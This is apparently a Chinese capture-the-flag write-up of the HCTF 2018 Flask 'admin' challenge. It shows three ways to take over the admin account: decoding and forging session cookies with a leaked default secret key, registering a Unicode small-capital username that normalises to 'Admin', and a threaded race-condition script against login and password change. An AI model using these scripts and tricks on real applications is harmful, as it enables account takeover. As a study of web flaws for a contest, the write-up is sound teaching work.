前言
有幸拿到了这道题的1血,也在赛后的交流讨论中,发现了一些新的思路,总结一下3个做法:
- 法1:伪造session
- 法2:unicode欺骗
- 法3:条件竞争
信息搜集
拿到题目
http://admin.2018.hctf.io/
f12查看源代码
<!-- you are not admin -->
发现提示要成为admin
随便注册个账号,登入后,在
view-source:http://admin.2018.hctf.io/change
发现提示
<!-- https://github.com/woadsl1234/hctf_flask/ -->
于是下载源码
功能分析
拿到代码后,简单的查看了下路由
@app.route('/index') def index(): @app.route('/register', methods = ['GET', 'POST']) def register(): @app.route('/login', methods = ['GET', 'POST']) def login(): @app.route('/logout') def logout(): @app.route('/change', methods = ['GET', 'POST']) def change(): @app.route('/edit', methods = ['GET', 'POST']) def edit():
查看一下路由,功能非常单一:登录,改密码,退出,注册,edit。
但edit功能也是个假功能,并且发现并不会存在sql注入之类的问题,也没有文件写入或者是一些危险的函数,此时陷入了困境。
解法一:session伪造
初步探索
想到的第一个方法:session伪造
于是尝试伪造session,根据ph写的文章
https://www.leavesongs.com/PENETRATION/client-session-security.html
可以知道flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
所以我们构造脚本
#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
然后可以尝试读取我们的session内容
此时容易想到伪造admin得到flag,因为看到代码中
想到把name伪造为admin,于是github上找了个脚本
https://github.com/noraj/flask-session-cookie-manager
尝试伪造
{u'csrf_token': 'bedddc7469bf16ac02ffd69664abb7abf7e3529c', u'user_id': u'1', u'name': u'admin', u'image': 'aHme', u'_fresh': True, u'_id': '26a01e32366425679ab7738579d3ef6795cad198cd94529cb495fcdccc9c3c864f851207101b38feb17ea8e7e7d096de8cad480b656f785991abc8656938182e'}
但是需要SECRET_KEY
我们发现config.py中存在
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
于是尝试ckj123
但是比赛的时候很遗憾,最后以失败告终,当时以为key不是SECRET_KEY,就没有深究
后来发现问题https://graneed.hatenablog.com/entry/2018/11/11/212048
似乎python3和python2的flask session生成机制不同
改用python3生成即可成功伪造管理员
解法二:Unicode欺骗
代码审计
在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现这样一句
好奇怪,为什么要转小写呢?
难道注册的时候没有转大小写吗?
但随后发现注册和登录都用了转小写,注册ADMIN的计划失败
但是又有一个特别的地方,我们python转小写一般用的都是lower(),为什么这里是strlower()?
有没有什么不一样的地方呢?于是想到跟进一下函数
def strlower(username): username = nodeprep.prepare(username) return username
本能的去研究了一下nodeprep.prepare
找到对应的库
https://github.com/twisted/twisted
这个方法很容易懂,即将大写字母转为小写
但是很快就容易发现问题
版本差的可真多,十有八九这里有猫腻
unicode问题
后来搜到这样一篇文章
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
对于如下字母
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
具体编码可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare会进行如下操作
ᴀ -> A -> a
即第一次将其转换为大写,第二次将其转换为小写
那么是否可以用来bypass题目呢?
攻击构造
我们容易想到一个攻击链:
- 注册用户ᴀdmin
- 登录用户ᴀdmin,变成Admin
- 修改密码Admin,更改了admin的密码
于是成功得到如下flag
扩展
这里的unicode欺骗,让我想起了一道sql注入题目
skysec.top/2018/03/21/从一道题深入mysql字符集与比对方法collation/
解法三:条件竞争
该方法也是赛后交流才发现的,感觉有点意思
代码审计
我们发现代码在处理session赋值的时候
两个危险操作,一个登陆一个改密码,都是在不安全check身份的情况下,直接先赋值了session
那么这里就会存在一些风险
那么我们设想,能不能利用这一点,改掉admin的密码呢?
例如:
- 我们登录sky用户,得到session a
- 用session a去登录触发admin赋值
- 改密码,此时session a已经被更改为session b了,即session name=admin
- 成功更改admin的密码
但是构想是美好的,这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的
我们会在第一步直接跳转,所以这里需要条件竞争
条件竞争思路
那么能不能避开这个check呢?
答案是显然的,我们双线并进
当我们的一个进程运行到改密码
这里的时候
我们的另一个进程正好退出了这个用户,并且来到了登录的这个位置
此时正好session name变为admin,change密码正好更改了管理员密码
payload
这里直接用研友syang@Whitzard的脚本了
import requests import threading def login(s, username, password): data = { 'username': username, 'password': password, 'submit': '' } return s.post("http://admin.2018.hctf.io/login", data=data) def logout(s): return s.get("http://admin.2018.hctf.io/logout") def change(s, newpassword): data = { 'newpassword':newpassword } return s.post("http://admin.2018.hctf.io/change", data=data) def func1(s): login(s, 'skysec', 'skysec') change(s, 'skysec') def func2(s): logout(s) res = login(s, 'admin', 'skysec') if '<a href="/index">/index</a>' in res.text: print('finish') def main(): for i in range(1000): print(i) s = requests.Session() t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start() t2.start() if __name__ == "__main__": main()
注:但在后期测试中我没能成功,后面再研究一下,但我认为思路应该是正确的。
后记
题目可能因为一些失误有一些非预期,但是能进行这么多解法,对学习还是非常有帮助的。